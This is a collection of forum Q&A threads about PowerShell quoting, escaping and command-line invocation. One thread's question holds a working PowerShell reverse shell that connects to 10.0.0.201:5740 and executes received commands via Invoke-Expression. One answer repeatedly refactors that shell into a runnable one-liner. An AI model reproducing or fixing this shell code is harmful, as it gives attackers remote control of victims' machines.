How use character '$' in a Invoke-SSHCommand without error - powershell

I try to get information from a Linux server in a powershell script
I use the Windows forms and i get the informations in a RichTextBox.
There is no problem for some basic commands.
Example :
$infoversion = Invoke-SSHCommand -Index 0 -Command "uname -r"
$Result_Info.text += "Kernel Version : $($infoversion.Output) + ("`n")
But when i use a command with a pipe and the '$' character, it doesn't work.
Example :
$infouptime = Invoke-SSHCommand -Index 0 -Command "uptime -p | awk '{print $2,$3,$4,$5,$6,$7}'"
$Result_Info.text += "Server up since $($infouptime.Output)" + ("`n")
(This command work directly on the server)
I try to set \$ or 'e or '$' or "+chr(38)+" but nothing works
If someone can help me, it will be nice :)

PowerShell uses the backtick ` as the escape character in expandable strings:
$infouptime = Invoke-SSHCommand -Index 0 -Command "uptime -p | awk '{print `$2,`$3,`$4,`$5,`$6,`$7}'"
Alternatively, since you don't actually have any variables that need expanding, you could use a single-quoted string literal - the escape sequence for a literal ' is simply '':
$infouptime = Invoke-SSHCommand -Index 0 -Command 'uptime -p | awk ''{print $2,$3,$4,$5,$6,$7}'''

Related

Powershell not accepting normal quotation marks

I've been pulling my hair out all day because of this issue.
I'm working on a powershell one-liner and Powershell is being picky with what quotation mark I use. “ vs ", with powershell requiring the former.
Ultimately, the big issue I'm having is that the powershell command won't work if I use the normal quotation marks. Below is the command, followed by the error that is occuring. If I use the weird quotation mark (instead of all of the normal double quotation marks) the command will work fine. It requires this weird quotation mark. Does anyone know what is happening here? Theoretically they should both work, but they definitely do not. My use case prevents me from being able to type the weird quotation mark.
powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)",5740)) - Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback + "PS " + (pwd).Path + "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
The error:
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
You must provide a value expression following the '+' operator.
At line:1 char:469
\+ ... t-String ) -Name sendback;Set-Variable -Value ($sendback + PS + (pwd ...
\+ \~\~
Unexpected token 'PS' in expression or statement.
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
Missing closing ')' in expression.
At line:1 char:489
\+ ... endback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name ...
\+ \~
Missing file specification after redirection operator.
At line:1 char:262
\+ ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...
\+ \~
Missing closing '}' in statement block or type definition.
At line:1 char:490
\+ ... dback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name s ...
\+ \~
Unexpected token ')' in expression or statement.
At line:1 char:650
\+ ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...
\+ \~
Unexpected token '}' in expression or statement.
\+ CategoryInfo : ParserError: (:) \[\], ParentContainsErrorRecordException
\+ FullyQualifiedErrorId : ExpectedValueExpression
As per my comment. Open up any PowerShell Editor to look at your code to see where you are going wrong, as the editors will highlight issues, well before you make a run attempt.
This is what you really have:
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)", 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value ($sendback + "PS " + (Get-Location).Path + "> ") -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
I took out the aliases because aliases as a rule shown not to be used in production scripts. See the docs on the topic. Aliases are fine for throw-away code and quick CLI stuff.
Unless you are expanding variables or other specific formatting needs, then use the single quote for simple strings. Especially if you are putting this sort of stuff on one line, to avoid unnecessary quoting gymnastics.
So, refactoring a bit should allow this to work.
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
Putting this all on one line and running this via cmd.exe calling powershell.exe could look like this.
powershell -Command {Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client;Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | ForEach-Object{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();};$client.Close()}
Yet, only you can test this as none of us here would have the same environment as you of course.
PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
[-NoLogo] [-NoExit] [-Sta] [-Mta] [-NoProfile] [-NonInteractive]
[-InputFormat {Text | XML}] [-OutputFormat {Text | XML}]
[-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>]
[-ConfigurationName <string>]
[-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]
PowerShell[.exe] -Help | -? | /?
...
EXAMPLES
PowerShell -PSConsoleFile SqlSnapIn.Psc1
PowerShell -version 2.0 -NoLogo -InputFormat text -OutputFormat XML
PowerShell -ConfigurationName AdminRoles
PowerShell -Command {Get-EventLog -LogName security}
PowerShell -Command "& {Get-EventLog -LogName security}"
# To use the -EncodedCommand parameter:
$command = 'dir "c:\program files" '
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -encodedCommand $encodedCommand
Update:
Your Reddit cross-post reveals that you're trying call the PowerShell CLI from inside PowerShell:
There is normally no good reason to do so, but if you do need it (e.g. when you need to call Windows PowerShell from PowerShell (Core) 7+), pass your commands inside a script block ({ ... }), which avoids the quoting headaches and also enables support for (limited) type fidelity (not just strings) - see this answer.
Obfuscated PowerShell one-liners are sometimes used for nefarious purposes, which, needless to say, should not be condoned.
In string-based CLI calls, which is what you attempted, double quotes require escaping as \" in order to be considered part of the PowerShell command to execute - see this answer for an explanation.
When you used "Unicode" (non-ASCII) double quotes such as “, that escaping need went away, for the reasons explained in the bottom section. However, this should not be relied on.
On a general note: If you use non-ASCII literals such as “ in your script, you must ensure that PowerShell interprets the script file's character encoding correctly, which for UTF-8 files notably requires them to have a BOM in Windows PowerShell - see this answer.
The following discusses calling the PowerShell CLI from cmd.exe / from outside PowerShell in general.
tl;dr
Do not try to use non-ASCII-range quotation marks such as “ and ” (see the bottom section for why).
Instead, use normal (ASCII-range) double quotes (") and escape them as \"
Never use '...' to enclose your PowerShell commands passed to the PowerShell CLI (on Windows, from outside PowerShell), unless your intent is to create a string literal instead of executing a command.
The keys to making your call to powershell.exe, the Windows PowerShell CLI, work as intended from cmd.exe / outside PowerShell[1] are:
Do not use overall '...' quoting (single quoting), because PowerShell will interpret the entire argument as a verbatim string rather than as a command.
It's best to use overall "..." quoting (see below).
Do not use \ as the escape character - except to escape " characters (see below).
Not only does \ not function as a general-purpose escape character (neither in PowerShell nor in cmd.exe), [ and ] do not require escaping, so that, for instance, \[byte\[\]\] should just be [byte[]].
PowerShell's escape character is `, the so-called backtick, and cmd.exe's escape character - in unquoted arguments only - is ^.
" characters that you want to be part of the PowerShell command to execute must be escaped as \"
Escaping " characters is a requirement whether or not you're using overall "..." quoting, but without the latter it is only \" that works - see this answer, which also explains why this escaping is necessary.
With overall "..." quoting, which is generally preferable, because cmd.exe then (mostly) does not interpret the content, \" works too, but there are still edge cases where misinterpretation by cmd.exe can occur, in which case an alternative form of "-escaping is the solution: This alternative form is edition-specific, unfortunately: "^""..."^"" (sic) in Windows PowerShell, ""..."" in PowerShell (Core) 7+ - see this answer.
When calling from cmd.exe / a batch file, avoid use of %, unless you're trying to reference an environment variable cmd.exe-style, e.g. %OS%:
From batch files, % chars. you want to pass through to PowerShell, must be escaped as %%
In an interactive cmd.exe session, % cannot be escaped at all, and %% would be passed as is.
Therefore, to avoid commands from breaking situationally - depending on whether they're called from a batch file or from an interactive session - avoid %, if possible; here you can use foreach as an alternative to use of % as an alias of the ForEach-Object cmdlet (of course, you can use the full cmdlet name too).
Here's a simplified command that implements all the tips above:
:: From cmd.exe / a batch file
:: Note the overall "..." quoting, use of \" for embedded double quotes
:: and use of foreach instead of %
powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"
You should be able to fix your command accordingly (which, as currently shown in the question, has additional problems, unrelated to quoting and escaping).
As for using non-ASCII ("Unicode") double quotes:
PowerShell-internally, it is allowed to substitute non-ASCII-range punctuation for their ASCII-range equivalents:
As you've discovered “ (LEFT DOUBLE QUOTATION MARK, U+201C) and ” (RIGHT DOUBLE QUOTATION MARK, U+201D) can be used in lieu of a pair of regular double quotes (")
This answer provides an overview of all substitutions that are supported.
By contrast, on the PowerShell CLI's command line, it is only the normal, ASCII-range double quotes (" (QUOTATION MARK, U+0022)) that have syntactic function, so that the non-ASCII-range “ and ” characters are passed through as part of the PowerShell command to execute.
That is, the use of the non-ASCII-range “ and ” characters effectively saves you from the need to escape them - both in unquoted tokens and inside normal "..."
However, this behavior is both obscure and visually subtle and should not be relied upon: instead, use normal double quotes consistently and escape pass-through ones as \", as discussed above.
As an aside: Regular console windows (conhost.exe) won't even allow you to paste the non-ASCII-range double quotes: they are converted to normal ones. You can, however, paste them in Windows Terminal and in the Windows Run dialog (WinKey-R).
[1] From inside PowerShell, there's rarely a need to call the PowerShell CLI; if needed, the best way to do so is by passing the commands as a script block ({ ... }) - see this answer.

How to store hexdump of a string in hex format in powershell?

I am trying to convert a shell script to PowerShell script, I am facing issue with below shell commands
label=`echo -n "signing key" | hexdump -ve '/1 "%02x"'`
sign_nist="00000001${label}0000000100"
/testing$ echo $sign_nist
000000017369676e696e67206b65790000000100
/testing$ echo -n $sign_nist | sed -e 's/../\\x&/g'
\x00\x00\x00\x01\x73\x69\x67\x6e\x69\x6e\x67\x20\x6b\x65\x79\x00\x00\x00\x01\x00
/testing$ echo -ne "$(echo -n $sign_nist | sed -e 's/../\\x&/g')"
signing key
when I try to do the same thing in PowerShell using the below commands my output is different
PS C:\testing> $sign_nist
000000017369676E696E67206B65790000000100
PS C:\testing>
$prep = $sign_nist -split '(..)' -ne ''
for($i = 0; $i -lt $prep.length; $i++)
{
$prep[$i] = [System.Convert]::ToUInt32($prep[$i],16)
}
$sign_key_input=$prep -join '';
$sign_key_input
00011151051031101051101033210710112100010
could someone please help me how to get signing key to $sign_key_input with PowerShell?
Thanks in advance for the help.
I think appending \x for each byte works for linux to treat it as hex value but how to indicate the same in powershell?

Powershell - passing parameters to script executed via piping [duplicate]

I am running powershell script over ssh as ssh user#host "powershell -Comand - < script.ps1. It works as expected as long as I start passing arguments.
When I put it as powershell -Command - my args it fails (as documented)
'-' was specified with the -Command parameter; no other arguments to -Command are permitted.
While the other way around powershell my args -Command - it fails with:
The term 'my' is not recognized as the name of a cmdlet, function, script file,
or operable program. Check the spelling of the name, or if a path was included
, verify that the path is correct and try again.
At line:1 char:3
+ my <<<< args -Command -
+ CategoryInfo : ObjectNotFound: (my:String) [], CommandNotFoundE
xception
+ FullyQualifiedErrorId : CommandNotFoundException
I intend to put in arbitrary list of parameter without any parsing.
Edit:
As I investigate further, it seems I am doing something wrong even when the command is specified explicitly:
(local bash) $ echo '\n' | ssh -i master-key Admin#10.8.55.78 '$SYSTEMROOT/System32/WindowsPowerShell/v1.0/powershell' -Command 'Write-Host \$\(\$args.Count\)' "my" "args"
0 my args
It seems that passes no arguments but they are printed on console for some reason. Avoiding the ssh does not seems to change anything:
(cygwin) $ $SYSTEMROOT/System32/WindowsPowerShell/v1.0/powershell -Command 'Write-Host $($args.Count)' "my" "args"
0 my args
You can't do that directly, but I think this can be done, if you wrap your script in scriptblock and pass arguments to it:
echo "& { $(cat script.ps1) } 'my' 'args'" | ssh user#host "powershell -Command"
Since -Command parameter can't handle multiline strings, there is a way to pass it in (though not via standard input) using Base64 encoded value of -EncodedCommand parameter, but it's ugly:
ssh user#host "powershell -encodedcommand $((echo "& {"; cat script.ps1 ; echo "} 'my' 'args'") | iconv -f ascii -t utf-16le | base64 -w0 ; echo -e "\n")
This one works as expected:
script=$(cat <<-'SCRIPT'
{
$a=$Args[0];
$b=$Args[1];
# Do not enclose $script into "" to avoid this comment spread till the EOL
Write-Host "This is 'a': $a";
Write-Host "This is 'b': $b";
} # <- call as [[[ -c "& { $script } ... " ]]] if you ommit braces '{}' here
SCRIPT
)
a="THE VALUE OF THE \"a\""
b="B B B B"
powershell -nologo -executionpolicy bypass -c "& $script '$a' '$b'"
output:
> This is 'a': THE VALUE OF THE "a"
> This is 'b': B B B B

Piping from a variable instead of file in Powershell

Is ther any way in Powershell to pipe in from an virable instead of a file?
There are commands that I need to pipe into another command, right now that is done by first creating a file with the additional commands, and then piping that file into the original command. Code looks somehting like this now:
$val = "*some command*" + "`r`n" + "*some command*" + "`r`n" + "*some command*"
New-Item -name Commands.txt -type "file" -value $val
$command = #'
db2cmd.exe /C '*custom db2 command* < \Commands.txt > \Output.xml'
'#
Invoke-Expression -Command:$command
So instead of creating that file, can I somehow just pipe in $val insatead of Commands.txt?
Try this
$val = #("*some command*1","*some command2*","*some command3*")
$val | % { db2cmd.exe /C $_ > \Output.xml }
You should be able to pipe in from $val provided you use Write-Output or its shorthand echo, but it may also be worth trying passing the commands directly on the command line. Try this (and if it doesn't work I can delete the answer):
PS C:\> filter db2cmd() { $_ | db2cmd.exe ($args -replace '(\\*)"','$1$1\"') }
PS C:\> $val = #"
>> *custom db2 command*
>> *some command*
>> *some command*
>> *some command*
>> "#
>>
PS C:\> db2cmd /C $val > \Output.xml
What happens here is that Windows executables receive their command line from a single string. If you run them from cmd.exe you cannot pass newlines in the argument string, but Powershell doesn't have that restriction so with many programs you can actually pass multiple lines as a single argument. I don't know db2cmd.exe so it might not work here.
The strange bit of string replacement is to handle any double quotes in the arguments: Powershell doesn't quote them and the quoting rules expected by most exe files are a bit bizarre.
The only limitation here would be that $val must not exceed about 32,600 characters and cannot contain nulls. Any other restrictions (such as whether non-ascii unicode characters work) would depend on the application.
Failing that:
echo $val | db2cmd.exe /C '*custom db2 command*' > \Output.xml
may work, or you can use it in combination with the filter I defined at the top:
echo $val | db2cmd /C '*custom db2 command*' > \Output.xml

Escaping dollar signs in PowerShell path is not working

Why doesn't this work?
$drvrInstFilePath = "$sharePath\$imageName\ISO`$OEM$`$1\RPKTools\RPKDriverInst.bat"
echo $drvrInstFilePath
$drvrInstContent = Get-Content -LiteralPath "$sharePath\$imageName\ISO`$OEM$`$1\RPKTools\RPKDriverInst.bat" | Out-String
The echo shows the right path, but the Get-Content command expands the $oem and $1 to blank strings, even though they are escaped. Why?
Instead of messing around with escaping dollar signs, use single quotes ' instead of double quotes ". It prevents PowerShell expanding $ into a variable. Like so,
$p = "C:\temp\Share\ISO$OEM$"
# Output
C:\temp\Share\ISO$
$p = 'C:\temp\Share\ISO$OEM$'
# Output
C:\temp\Share\ISO$OEM$
If you need to create a path by using variables, consider using Join-Path. Like so,
$s = "Share"
join-path "C:\temp\$s" '\ISO$OEM$'
# Output
C:\temp\Share\ISO$OEM$
You can actually just use a tick mark to escape the $ like so:
`$
Example:
$number = 5
Write-Host "`$${number}"
# Output: $5
You used double quotes with a single backtick. This is an incorrect combination. In fact, I am not sure that a single backtick alone is sufficient in any case. Your successful options to escape the dollar sign ($) in PowerShell are to use double quotes with a backslash-backtick combination ("\`$find"), or instead to use single quotes with a simple backslash ('\$find'). [However, note the exception at the end about function call parameters.] See below for examples.
Also, for those unfamiliar with the distinction, it is important not to confuse the backtick character (`) with the single-quotation character (') in these escapes.
[SUCCESS] Double quotes as container with backslash-backtick as escape:
PS C:\Temp> 'What is $old?' | ForEach-Object {$_ -replace "\`$old", "(New)"}
What is (New)?
PS C:\Temp>
[FAIL] Double quotes as container with backslash-apostrophe as escape:
PS C:\Temp> 'What is $old?' | ForEach-Object {$_ -replace "\'$old", "(New)"}
What is $old?
PS C:\Temp>
[SUCCESS] Single quotes as container with simple backslash as escape:
PS C:\Temp> 'What is $old?' | ForEach-Object {$_ -replace '\$old', "(New)"}
What is (New)?
PS C:\Temp>
[FAIL] Single quotes as container with backslash-backtick as escape:
PS C:\Temp> 'What is $old?' | ForEach-Object {$_ -replace '\`$old', "(New)"}
What is $old?
PS C:\Temp>
Overall, the easiest option may be to use single quotes as the container and a single backslash as the escape: '\$old'
Update: As if the above were not confusing enough, when you use a function call instead of a command, single quotes are needed without an escape. Trying to use an escape on the function call parameter will not work:
[FAIL] Using an escape in a function parameter:
PS C:\Temp> 'What is $old?' | ForEach-Object {$_.ToString().Replace('\$old', "(New)");}
What is $old?
PS C:\Temp>
[SUCCESS] Using plain single quotes without an escape in a function parameter:
PS C:\Temp> 'What is $old?' | ForEach-Object {$_.ToString().Replace('$old', "(New)");}
What is (New)?
PS C:\Temp>
In my case I needed to escape some $'s used in a string but not others that are variables.
For example, my SSRS instance name has a $ sign:
[ReportServer$SSRS]
To escape the $ sign I use single quotes. Otherwise I use the -join statement to concatenate variables with the strings containing actual $ signs.
$sql = -join('ALTER DATABASE [ReportServer$', $instanceName,'TempDB]
SET SINGLE_USER WITH ROLLBACK IMMEDIATE;
GO
USE [master]
RESTORE DATABASE [ReportServer$', $instanceName,'TempDB] FROM DISK = N''C:\temp\ReportServerTempDB.BAK'' WITH FILE = 1,
MOVE N''ReportServerTempDB'' TO N''', $sqlDataDrive + "\data_" + $instanceName, '\ReportServer$', $instanceName,'TempDB.mdf'',
MOVE N''ReportServerTempDB_log'' TO N''', $sqlLogDrive + "\log_" + $instanceName, '\ReportServer$', $instanceName,'_TempDBlog.LDF'', NOUNLOAD, REPLACE, RECOVERY, STATS = 5
GO
ALTER DATABASE [ReportServer$', $instanceName,'TempDB]
SET MULTI_USER;
GO
')